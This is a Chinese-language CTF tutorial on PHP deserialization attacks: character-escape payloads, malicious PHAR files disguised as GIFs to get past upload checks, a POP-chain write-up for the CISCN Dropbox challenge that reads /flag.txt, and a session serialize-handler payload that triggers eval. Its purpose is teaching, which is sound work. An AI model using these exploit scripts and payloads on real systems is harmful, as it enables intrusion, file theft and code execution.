简单示例代码:

<?php
function str_rep($string){
    return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

这段代码是接收了参数name和sign,且number是固定的,经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果,我们的目的就是通过控制传参name和sign,间接改变number

我们继续像上文一样构造在sign中传";s:6:"number";s:4:"2000";}看看闭合

image-20240412105140901

这样子直接加入显然是不行的,由于sign的字符串个数为27,所以后面横线处的payload被当作了字符串sign的值,而没有被当作序列化语句去反序列化,所以我们还是需要过滤函数了给我们实现字符逃逸

构造payload:?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

image-20240412105152043

由于一共填写了6个test,所以name的长度就是24,所以在sign处随便写点什么来凑数,让上图所示部分长度是24即可。当test被替换掉之后,就正好让反序列化的规则满足了。

3.4 实战-level 18

http://125.77.172.32:9090/Level18/index.php

wp可以参考

https://gitcode.csdn.net/69bab6b754b52172bc625636.html#devmenu9

4.phar反序列化

利用 phar:// 协议触发 PHP 自动反序列化 PHAR 文件中的 metadata,从而在没有 unserialize() 的情况下实现反序列化攻击

4.1 为什么会有这个漏洞?

4.1.1 PHAR 的本质

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

PHAR 可以理解为一种“打包文件”,类似 zip,但支持存储元数据(metadata)

关键:

metadata 是通过 serialize() 存储的

这就埋下了漏洞

4.1.2 自动反序列化机制

当使用:

file_get_contents("phar://xxx");

PHP 会:

  1. 解析 phar 文件
  2. 自动反序列化 metadata ❗

不需要调用 unserialize()

4.2 PHAR 文件结构

4.2.1 关键四部分

部分作用
stub文件头(必须有 __HALT_COMPILER();
manifest包含 metadata(序列化数据)
content文件内容
signature签名(可选)

一个phar文件由四部分构成:

a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

Size in bytesDescription
4 bytesLength of manifest in bytes (1 MB limit)
4 bytesNumber of files in the Phar
2 bytesAPI version of the Phar manifest (currently 1.0.0)
4 bytesGlobal Phar bitmapped flags
4 bytesLength of Phar alias
??Phar alias (length based on previous)
4 bytesLength of Phar metadata (0 for none)
??Serialized Phar Meta-data, stored in serialize() format(注意这一条!)
at least 24 * number of entries bytesentries for each file

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

Length in bytesDescription
varyingThe actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key.
4 bytesSignature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available.
4 bytesMagic GBMB used to define the presence of a signature.

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

4.2.2 攻击核心

manifest → metadata → serialize 数据

4.3 触发点

只要使用了 phar://,以下函数都会触发反序列化:

file_get_contents()
file_exists()
is_file()
fopen()
readfile()
copy()
unlink()
stat()

本质:

文件操作函数 = 反序列化触发器

4.4 利用流程

攻击链

构造恶意对象
 → 写入 PHAR metadata
 → 上传 PHAR
 → 触发 phar:// 文件操作
 → 自动反序列化
 → 触发魔术方法(RCE/读文件)

4.5 构造恶意 PHAR

生成脚本

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
class TestObject {
    public function __destruct() {
        echo "pwned";
    }
}

@unlink("phar.phar");

$phar = new Phar("phar.phar");
$phar->startBuffering();

// stub(必须)
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 写入恶意对象(关键)
$phar->setMetadata(new TestObject());

// 添加文件(随便写)
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();
?>

触发漏洞

<?php 
    class TestObject {
    public function __destruct() {
        echo "pwned";
    }
}

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

image-20260327194317284

自动发生:

metadata → unserialize → __destruct()

4.6 绕过上传:伪装文件类型

4.6.1 原理

PHP 判断 PHAR:

只看 stub 中的 __HALT_COMPILER()

不看后缀

4.6.2 伪装成图片

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

// 查看文件类型,可以看到被识别为图片
// abc@9a0d8215ec46:~/workspace$ file phar.phar 
// phar.phar: GIF image data, version 89a, 16188 x 26736

文件会被识别为:

GIF 图片 

4.6.3 效果

phar.phar → phar.gif

绕过:

  • 文件类型检测
  • 上传限制

采用这种方法可以绕过很大一部分上传检测。

漏洞利用条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

4.7 绕过phar协议过滤

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

4.8 [CISCN2019 华北赛区 Day1 Web1]Dropbox

题目环境:

https://buuoj.cn/challenges

image-20260327195059101

进入题目后是一个登录框,可以注册,所以先注册进去看看先不试试注入

image-20260327195309486

可以看到有上传文件和文件删除文件下载功能,自然就试试能不能文件下载flag文件

image-20260327195444013

但是读不到,就先查看index.php文件

不过要注意的是,文件都放在上上级目录了

image-20260327195838530

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

查看删除部分的代码,发现还有个delete.php文件

image-20260327200014672

delete文件

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

根据提示查看class.php文件

image-20260327200110857

class.php代码:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {#把 $this->results 里的数据拼成一个 HTML 表格并输出出来。
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

现在我们获取了delete.phpclass.php,我们来分析用户在提交filename=img.png代码的执行流程

先看delete处理的关键代码

$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();

delete实例化了一个File的对象file,然后将用户传递进来的filename(也就是img.png)转为字符串传给$filename

然后进入if判断,判断filename的长度是否小于40,以及调用file里的open方法检测文件是否存在,存在返回true

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

然后进入if里,核心就是调用file的delete()方法!

    public function detele() {
        unlink($this->filename);
    }

也就是最终通过unlink删除用户传递进去的文件,注意unlink是可以触发phar的反序列化的!

所以我们可以传入phar文件,等到unlink的时候触发反序列化。

不过这里传入的时候需要改下phar文件的后缀为图片文件,因为upload.php会检测是否是图片

upload.php代码:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

但是没关系!我们刚才讲过PHP 判断 PHAR:

只看 stub 中的 __HALT_COMPILER()

不看后缀,所以我们可以在本地构造好POP链,将对象作为meta-data存到pharmanifest

所以接下里的构造重点就是,找到一条链子,能够实现对flag的读取。

查看几个文件,发现delete.php里,有潜在的利用点file_get_contents

    public function close() {
        return file_get_contents($this->filename);
    }

这个利用点 file_get_contents 没有对关键字进行过滤,所以我们肯定是利用这个函数来获取flag 。

首先是定义的 close 函数,我们跳转到哪里调用了这个close()

跟进代码,看到是User类 的__destrust() 调用了 close()

    public function __destruct() {
        $this->db->close();
    }

简单的逻辑 就是: User->__destruct() =>File -> close() -> 读取flag

在User->__destruct()里可以链到File->colse()。现在我们已经可以拿到flag了,但是怎么回显呢

class.php 有一个 __call() 方法可以使用

public function __call($func, $args) { 
    // 当调用一个“当前类不存在的方法”时触发
    // $func = 被调用的方法名(例如 close)
    // $args = 传入的参数(这里基本没用)
    array_push($this->funcs, $func);
    // 把调用的方法名记录下来
    // 例如:调用 close() → funcs = ["close"]
    // 后面 __destruct() 会用它来生成表头
    foreach ($this->files as $file) {
        // 遍历 files 数组(里面是 File 对象)
        $this->results[$file->name()][$func] = $file->$func();
        // 核心代码(最重要的一行):
        // ① $file->name()
        //    → 获取文件名(作为 results 的 key),实际上跟进下File类的name()方法可以看到,就是File类的filename这个属性的值
        // ② $file->$func()
        //    → 动态调用方法(比如 $func = "close")
        //    → 实际执行:File->close()
        // ③ 把返回值存入 results:
        //    results[文件名][方法名] = 返回值
        // 在利用中等价于:
        // results["flag.txt"]["close"] = file_get_contents("/flag.txt")
    }
}

在利用链里的作用

调用 FileList的close()方法
↓
FileList 没有close() → 进入 __call
↓
转发给 File->close()
↓
执行 file_get_contents()
↓
结果存入 $results

如果我们让:

  • $this->db = FileList对象

那么$this->db->close()就变成了FileList->close()

FileList类也没有close方法,所以会触发__call("close", [])

__call这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func]

刚好我们利用这一点:让 $dbFileList 对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results。

现在是光存入了results,怎么显示在页面上呢,来看下FileList 对象的 __destruct

    public function __destruct() {#把 $this->results 里的数据拼成一个 HTML 表格并输出出来。
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }

FileList 这个类本来的作用:就是“列出目录里的文件,并按不同属性生成一个表格展示”。

页面结束的时候触发 __destruct()

echo 表格

最终页面显示:

NameSize操作
file1.txt1KB下载/删除
file2.jpg2KB下载/删除

所以我们可以利用这个析构函数,将获取保存在result的flag打印在页面上!

完整的利用链搞清楚了,也就是

// 利用链思路
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。

// 通过delete.php将结果返回
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

调用链

User对象 (db = FileList对象)
    └── __destruct() 调用 $this->db->close()
                        ↓
FileList对象 (没有close方法)
    └── __call("close", []) 被触发
        └── 遍历 $this->files
            └── 调用 $file->close()  ← $file是File对象,filename="/flag.txt"
                └── file_get_contents("/flag.txt")  读取flag!
                └── 返回flag内容
        └── 结果存入 $this->results
        
    └── 脚本结束,FileList->__destruct()
        └── 遍历输出 $this->results,flag被显示在表格中!

完整调用链

phar://触发 → User还原 → User.__destruct() → FileList.__call('close') 
                                                      ↓
                                              File.close()读flag
                                                      ↓
                                              存入results数组
                                                      ↓
                                              FileList.__destruct()输出

生成payload

<?php
class User {
    public $db;
}

class FileList {
    private $files;

    public function __construct() {
        $this->files = array(new File());
    }
}

class File {
    public $filename = '/flag.txt';
}

// 构造对象关系
$b = new FileList();
$c = new User();
$c->db = $b;

// 创建 phar
$phar = new Phar('test.phar');
$phar->startBuffering();
// 图片伪装(GIF 文件头)
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
// 添加内容(随便写)
$phar->addFromString('test.txt', 'text');
// 写入 payload
$phar->setMetadata($c);//将对象c写入到metadata中
$phar->stopBuffering();

修改后缀为.gif然后上传

image-20260327201308761

抓取delete.php的数据包,修改post提交的数据,然后得到flag

image-20260328143616011

5.session反序列化

5.1 前置知识

理解php的session之前先了解一下session是什么

5.1.1 Session

在计算机中,尤其是在网络应用中,称为“会话控制”(Session Control)。Session对象用于存储特定用户在一次会话过程中所需的属性及配置信息(本质是服务端状态管理机制)。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去(即跨请求保持状态)。

当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象,并为其分配唯一标识(Session ID)。当会话过期或被主动放弃后,服务器将终止该会话并销毁相关数据。Session 对象最常见的一个用法就是存储用户的首选项或登录状态。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过需要注意,不同语言或框架的会话机制在实现细节上可能有所不同(如存储方式、序列化机制等)。

5.1.2 PHP session:

可以看做是一个特殊的变量($_SESSION 超全局数组),用于存储关于用户会话的信息,或者更改用户会话的设置。需要注意的是,PHP Session 变量是以键值对形式存储单一用户的数据,并且对于应用程序中的所有页面都是可用的(前提是 session 已开启)。

同时,其对应的具体 session 值是存储于服务器端(通常为文件),这也是与 Cookie 的主要区别(Cookie 存储在客户端)。因此在一般情况下,session 的安全性相对较高,但这并不意味着绝对安全——一旦 session 数据被污染或解析异常,就可能引发安全问题(如反序列化漏洞)

5.1.3 session的工作流程:

当第一次访问网站时,session_start() 函数就会创建一个唯一的 Session ID(通常为一串随机字符串),并自动通过 HTTP 响应头(Set-Cookie),将这个 Session ID 保存到客户端 Cookie 中(默认键名为 PHPSESSID)。

同时,服务器端也会创建一个以 Session ID 命名的文件(如 sess_xxxxx),用于保存该用户的会话信息(内容通常为序列化后的数据)。

当同一个用户再次访问该网站时,浏览器会自动通过 HTTP 请求头(Cookie)将之前保存的 Session ID 一并携带过来。这时 session_start() 函数就不会再去分配一个新的 Session ID,而是在服务器的存储路径中查找与该 Session ID 同名的 session 文件,并读取其中的内容,将这之前为该用户保存的会话信息恢复到当前运行环境中,从而达到用户身份跟踪与状态保持的目的。

5.1.4 session_start() 的作用:

当会话自动开始或者通过 session_start() 手动开始时,PHP 内部会依据客户端传来的 PHPSESSID 来定位对应的会话数据(即 session 文件)。随后,PHP 会执行以下关键步骤:

  1. 根据 PHPSESSID 查找对应 session 文件
  2. 读取文件内容
  3. 自动对内容进行反序列化(核心行为)
  4. 将反序列化结果填充到 $_SESSION 超级全局变量中

如果不存在对应的会话数据,则会创建名为 sess_<PHPSESSID> 的新文件。如果客户端未发送 PHPSESSID,则会生成一个新的(通常为32位随机字符串)Session ID,并通过 Set-Cookie 返回给客户端。

PHP 在 session_start() 时会“自动反序列化 session 数据”,这一行为正是后续 Session 反序列化漏洞的根本触发点。

5.1.5 php.ini 中的 Session 配置

  1. session.save_path="" —— 设置 session 的存储路径
  2. session.save_handler="" —— 设定用户自定义存储函数,如果想使用 PHP 内置会话存储机制之外的可以使用本函数(数据库等方式)
  3. session.auto_start boolean —— 指定会话模块是否在请求开始时启动一个会话,默认为 0 不启动
  4. session.serialize_handler string —— 定义用来序列化/反序列化的处理器名字,默认使用 php

5.1.6 常见的 php-session 存放位置

  1. /var/lib/php5/sess_PHPSESSID
  2. /var/lib/php7/sess_PHPSESSID
  3. /var/lib/php/sess_PHPSESSID
  4. /tmp/sess_PHPSESSID
  5. /tmp/sessions/sess_PHPSESSED
  6. php.ini 里查找 session.save_path,也可以在这里更改路径

5.1.7 session.serialize_handler 定义的引擎

处理器名称存储格式
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize经过 serialize() 函数序列化处理的数组
:自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中,php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 phpphp_binary 所具有的限制。使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字不能包含特殊字符|!)。

:查看版本,注意:在 PHP 5.5.4 以前默认选择的是 php,5.5.4 之后就是 php_serialize,在实际场景中,如果当前系统环境(或当前页面)使用的是 php_serialize 处理器,但某些特定页面(如 index 页面)却配置为使用 php 处理器,这种处理器混用就会造成漏洞。

下面我们实例来看看三种不同处理器序列化后的结果。

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

  • php : lemon|s:3:"abc";
  • php_serialize : a:1:{s:5:"lemon";s:3:"abc";}
  • php_binary : lemons:3:"abc";

image-20260328151859471

其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。

5.2 漏洞造成原理

5.2.1 原理说明

当使用 php_serialize 处理器写入 session,而使用 php 处理器读取 session 时,就可能导致反序列化漏洞的产生

其根本原因在于:

两种处理器的解析规则不同

  • php_serialize

    将整个 $_SESSION 数组进行标准 serialize()

  • php

    使用如下格式解析:

    key|value

    其中 | 被当作分隔符

漏洞关键点:

php_serialize 写入如下数据时:

|O:7:"xiaoxin":1:{s:4:"name";s:9:"eagleslab";}

最终 session 文件内容变为:

a:1:{s:7:"session";s:44:"|O:9:"eagleslab":1:{s:4:"name";s:9:"eagleslab";}";}

php 处理器解析时:

  1. 遇到 |,认为是分隔符
  2. 截取 | 后面的内容
  3. 将其当作序列化字符串处理

实际解析的数据变成:

O:9:"eagleslab":1:{s:4:"name";s:9:"eagleslab";}

这正是我们构造的 payload,从而触发 unserialize(),进入对象注入流程(POP链触发点)

5.2.2 简单实例

写入端(session.php)

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['session'] = $_GET['session'];
?>

作用:

  • 使用 php_serialize 写入 session
  • 用户输入可控

触发端(class.php)

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();

class TestObject{
    public $name = "no serialize!!!!!!";

    function __wakeup(){
        echo "Who are you?";
    }

    function __destruct(){
        echo '<br>'.$this->name;
    }
}

$str = new TestObject();
?>

作用:

  • 使用 php 读取 session
  • 会触发反序列化
  • 通过 __wakeup / __destruct 判断是否利用成功

利用逻辑说明

这两个文件的关键点在于:

  • 使用了不同的 session 处理器
  • session.php:负责写入(可控输入)
  • class.php:负责读取(触发反序列化)

初始 session 状态

先访问 session.php,此时 session 内容为:

a:1:{s:7:"session";N;}

image-20260328152947535

构造 payload

<?php
class TestObject{
    public $name = "payload";
}

$o = new TestObject();
echo serialize($o);
?>

得到:

O:10:"TestObject":1:{s:4:"name";s:7:"payload";}

最终利用 payload

|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}

关键:前面必须加 |

写入后 session 内容变化

a:1:{s:7:"session";s:48:"|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}";}

image-20260328153122615

触发漏洞

直接访问 class.php
image-20260328153411438

session_start() 读取 session,使用 php 处理器解析, | 后数据被当作序列化对象,触发 unserialize()

页面输出payload

5.3 [Jarvis OJ] PHPINFO

题目环境

http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

是一道反序列化的题目,题目源码很简单,当创建OowoO()这个类的对象时,会自动调用__construct()这个魔术方法,给mdzz这个变量赋值为"phpinfo();",然后程序执行结束后会自动调用__destruct这个魔术方法,触发了eval()

虽然我们现在没有思路,但是我们可以先操作看看,可能就有灵感了呢

先随便给phpinfo这个变量get一个值

http://web.jarvisoj.com:32784/index.php?phpinfo=a

image-20260328155655534

成功执行了phpinfo();

题目中有个这

ini_set('session.serialize_handler', 'php');

考虑到可能是序列化引擎不同导致的session反序列漏洞

我们来看一下session的配置

image-20260328155732523

果然,存储和读取session时用到的处理器引擎不一样

现在有个问题,session是怎么传进去的呢,之前都是有个$_SESSION=$_GET['a'],通过参数a传进去

本题没有$_SESSION进行变量赋值,这种情况我们可以用php文件上传进度来解决

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

也可查看php官方文档:

img

回到本题,看下session的配置

img

刚好可以利用!

启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候

PHP会将文件名保存在$_SESSION中

所以构造一个提交文件的表单:

<form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype="multipart/form-data">
    <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="1"/>
    <input type ="file" name ="file"/>
    <input type ="submit"/>
</form>

然后构造一个序列化的数据:

<?php
ini_set('session.serialize.handler','php');
session_start();
class OowoO{
    public $mdzz = 'payload';
}
$obj  = new OowoO();
echo serialize($obj);
?>

将payload改为如下代码

print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
#整体作用:列出当前 PHP 文件所在目录下的所有文件和目录
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

完整的payload:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

然后随便上传一个文件,BP 抓包后修改上传的文件名为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

image-20260328160645483

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

image-20260328160731456

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径

既然知道了路径,就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。

序列化后的payload

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

双引号前加上\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

Bp提交:

image-20260328161140495

6.其他PHP反序列化资料

[[CTF]PHP反序列化总结](https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166234073116781683934559%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166234073116781683934559&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-113588692-null-null.article_score_rank_blog&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4450)

其他PHP反序列化题目,可以参考,有时间可以从简到难做做(比较难~),搜题目应该大部分都有在线环境,不会的自行解决,俺也没做过...

简单

  • [极客大挑战 2019]PHP 反序列化,wakeup绕过
  • [MRCTF2020]Ezpop 简单的pop
  • [NPUCTF2020]ReadlezPHP 动态函数
  • [EIS 2019]EzPOP

签到

  • [网鼎杯 2020 青龙组]AreUSerialz 反序列化,弱类型比较
